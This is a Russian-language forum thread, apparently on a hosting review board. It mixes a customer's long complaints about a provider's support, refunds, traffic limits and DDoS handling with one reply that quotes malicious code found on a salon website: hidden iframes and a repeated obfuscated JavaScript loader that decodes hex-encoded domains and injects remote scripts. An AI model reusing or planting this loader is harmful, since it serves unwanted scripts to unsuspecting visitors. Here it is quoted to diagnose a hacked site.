К сожалению мало информации для анализа:
Что-там подробнее о нарушениях, ругается-ли на какие скрипты ?
Для начала рекомендую сделать следующее:
1)Проверить сайт здесь:
http://antivirus-alarm.ru/
И
https://virustotal.com/
Будет-ли реакция на какие скрипты ?
2)Попробуйте позаходить с мобильников на сайт, есть-ли какие аномалии, может взломали, или вредоносный скрипт какой ?
3)Если ничего нет, напишите в Яндекс, с просьбой прокомментировать в чём проблема ?
А что мешает просмотреть исходный код страницы и скопипастить там, кому нужно...
Или ещё проще, убрать эту проверку, каким-нить блокировщиком...:)
ИМХО, тоже не вижу смысла в таких ограничениях...
Что за защита такая ?
Железобетонная защита - Это нанять нормального админа, либо самому следить и ставить патчи к софту, также не ставить всякие кривые скрипты и плагины к CMS !
Вот и весь секрет !
А всякие там Web Application Firewall и т.д., лишь от школоты, хотя тоже не повредят конечно, если есть возможность...:)
Дело там ровно пять минут, всё правильно если знаешь как делать, а тех. админы должны это знать, если по простому, нужно:
- Изменить днс-записи (Делать должен клиент, работа нормальной тп - Это просто проверить и посоветовать что нужно поменять);
- Что-бы изменить айпи отправителя, нужно поменять всего один конфиг exim 4 (Я этот сервер использую), в общем-то и всё, о какой мега-сложной работе идёт речь ?
В том-то и проблема, что за саппорт я заплатил, а решения поставленной задачи не было, теперь глянем цены за саппорт:http://ua-hosting.company/services/outsourcing
Год назад вроде цены были ниже, но минимальный пакет сейчас, всего один час, стоит $20 в месяц + 20$ за превышении...
Для сравнения, у того-же хостинга с соседней темы, поддержка стоит 5$ причём не повременная, да не идеальная, но по качеству ИМХО примерно тоже-самое, тот-же ответ 30 минут, задачу правда решают не сразу (Так и вы решаете не сразу, тоже по приорететам), но оно и понятно за такую цену...:)
О каких дешёвых ценах идёт речь ? VPS, которые всего на 1$ дешевле чем у конкурента ? Ну это смешно, учитывая драконовский регламент и отсутствие нормальной тп !
ИМХО, но Ваши посты противоречат друг-другу, Вы определитись тогда для кого сервис, для тех-кто ищет по дешевле, т.е. LowCost хостинг, тогда думаю никто притензий и не будет предъявлять по качеству и отношению к клиентам, ибо часто такие сервисы и не подразумевают качество учитывая цену...:)
Вы-же по постам говорите, что не являетесь LowCost-хостингом, да и цены у вас далеко не LowCost...:) А посему мне неочень понятно такое можно сказать наплевательское отношение к клиентам, да может клиент и сам виновать, НО лишь в том что не прочитал регламент, а вы этим пользуетесь ?
Вот такие заявления в сторону клиента тоже ИМХО не красит компанию, ибо если считаете что там какие-то нарушения, зачем-было пускать к себе на сервер ? Если-же пустили, то значит должны работать с таким клиентом !
И ещё последнее про LowCost и цены, ещё одно сравнение с хостером с соседней темы (Про них узнал как-раз в этой теме, так-что чисто сравнение не реклама), да может там 3-5$ дороже, НО:
- Я получаю в отличие от Вас постоянную тех. поддержку и мониторинг сервера (Стоит всего 5$ на сколько помню);
Кстати мониторинг у вас тоже не понравился, что постоянно требуете рут-пароль, а если клиент не может ответить, зачем тогда мониторинг ? :)
У Инферно прикольно сделано, там целая система, достаточно один-раз указать рут-пароли и пути доступа к серверу, в случае проблем ТП сами всё сделают, без участия пользователя...
- 100% уверенность, что мне не прилетят непонятные счета, без моего ведома и согласования;
- Защита от ддос, у меня нет таких врагов, кто-бы ддосил очень сильно и постоянно, поэтому небольшой фильтрации канала меня вполне устраивает, главное что-бы не отключали сервер.
- У меня на тарифе не учитывается траффик, также менее жёсткий и более понятный регламент у них.
Извините, но мне лучше переплатить эти 3-5$, чем постоянно "плеваться" и тратить свои нервы, неполучая тех услуг которые необходимы для существования моих сайтов !
Хм. я сейчас ещё-раз более детально оферту прочитал с утра, получается по их оферте законно любые манипуляции, которые выгодны компании...😂
Другое дело, а на сколько вообще законна эта оферта ?
Я не знаю законы Белиза, но т.к. данная компания оказывает услуги в основном на неновистном постсоветском пространстве и о хоспаде, нецивилизованной и варварской РФ !
То не плохо-бы, почитать законодательство РФ, а в частности "Закон о защите прав потребителей", где всё в общем-то прописано очень хорошо, кстати и в плане возврата средств, а-то так пришёл в магазин, купил какой-то брак, захотел вернуть, а в этоге магазин отвечает, а на основании оферты мы не можем вернуть средства, ога ?🤣😮
Видно ещё не нашёлся тот человек, который-бы написал в соответствующие органы, а в частности в пейпал, вебмани, яндекс-деньги с просьбой проверить на законность как оферту, так и саму политику данной компании...
Может саму контору и не прикроют, зато действительно придётся клиентам рассчитываться только кредитками, как истинные цивилизованные Европейцы !🤪🤣
Ну они в принципе имеют в праве отказать в возврате, ибо в их оферте это чётко прописано:
и:
Если говорить юридическим языком, то клиент соглашается с этим договором и заключает его, так-что юридически они имеют право...:(
Другое дело, что обычно хостинги идут на уступки и часто встают на сторону клиента, им-же тоже не выгодно терять клиентов + отзывы негативные не к чему...
Тут дело уже во взаимоотношении хостинг/клиент, должно-быть взаимное доверие и уважение, как-то так ! :)
hosting_manager, последний вопрос и больше не буду поднимать эту тему, ибо надоело !
А почему Вы не хотите признать свои ошибки и попытаться что-то поменять, ведь можно долго говорить, что такая форма оплаты, учёт трафика, поддержка с почасовой оплатой и т.д. удобна клиентам, так-же как и всё остальное, но от этого удобно клиентам не станет, а негативные отзывы это всё-же сигнал что, что-то идёт нетак...
Ведь за последний год позитивных отзывов почти и не было у Вас, зато негативных с легхвой хватает, хотя не моё наверное дело, но моё мнение объективное, если прочитаете этот топик, по началу я даже положительный отзыв написал, хотя проблемы были изначально, даже в момент оплаты сервера...:(
Сейчас ещё раз глянул, да по этому адресу появилось:http://salon-hair.ru/dnevnik-direktora
Во время прокрутки страницы, в коде страницы куча ифреймов, вот:
<iframe style="display: none;" src="http://rakxjt4c.ru/f.html" width="320" height="240"></iframe> <script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["64766d6a326466767131786876392e7275","776e306763643130797a6f2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "salon-hair.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script> <iframe style="display: none;" src="http://rakxjt4c.ru/f.html" width="320" height="240"></iframe> <script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["34676d696d7839373269707267722e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "salon-hair.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script> <iframe style="display: none;" src="http://h9o2svlvxl58.ru/f2.html?a=14945" width="320" height="240"></iframe> <script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["34676d696d7839373269707267722e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "salon-hair.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>
Просмотрите возможно какой кривой плагин установили, или ещё что, реклама появляется не на всех страницах...:)
Ну дело-было летом прошлого года, когда на мой сайт обрушился сильный ддос, на тот момент я не был готов отражать такие атаки, сейчас-же пришлось разобраться в этом всём...
К сожалению не достаточно просто настроить проксирование, нужно ещё защитить сервер от обнаружения ддосером реального айпи адреса сервера, конкретно у меня форум, и ддосер вычислял айпишник через загаловки в почте...
В общем-то тех. поддержке про это было известно и они к сожалению не смогли ничего сделать !
Самое простое как я сейчас понял, нужно-то было дать мне ещё один айпишник и просто настроить отправку почты через другой айпи, таким образом, в случае ддоса, вы-бы блокировали один айпи (почтовый), НО при этом сайт-бы сам нормально функционировал...
Делов-то пять минут, а в место этого тех. поддержка извините меня, занималась непонятно чем, да ещё и счёт выставили...:(
У меня нет цели как-то навредить Вашей компании, если думаете что я это всё пишу что-бы навредить ошибаетесь, НО тем не менее нехороший осадок у меня остался от сотрудничества с Вами, хотя-бы потому-что так и не смог монетизировать сервер, сервер брал под конкретные проекты, как-то так...:( :( :(
У кого обед, а у кого поздний вечер, так-что содня уже больше писать ничего не буду, можете радоваться ! :)
Прочитал топик ещё раз и даже уважением к hosting_manager, проникся, а именно к его умению находить ответ на любой неудобный вопрос:
Почему заблокировали сервер ?
Так-ведь клиент такой не хороший, не уведомил вовремя !
Почему траффик порезали ?
Так-ведь клиент не умеет считать траффик !
Почему никак не помогли и не защитили от ддос ?
Так-ведь регламент и не обязаны ничего делать ! Клиент виноват что у него такой сайт, который ддосят !
Почему поддержка такая инертная и некомпетентная ?
Так-ведь клиент не умеет общаться и нормально писать в тиккеты !
Почему столько негативных отзывов ?
Так-ведь у нас ну-очень много клиентов ! 10% - Это-те которые пишут отзывы, нецивилизованные нищеброды из РФ !
Почему средства не возвращаете ?
Так-ведь мы цивилизованная Европейская компания, с международным именем, так работают Европейцы, радуйтесь что свои кредитки нам не дали, мы-бы с них ещё больше сняли, за непонятные услуги...:)
🤣🤣🤣
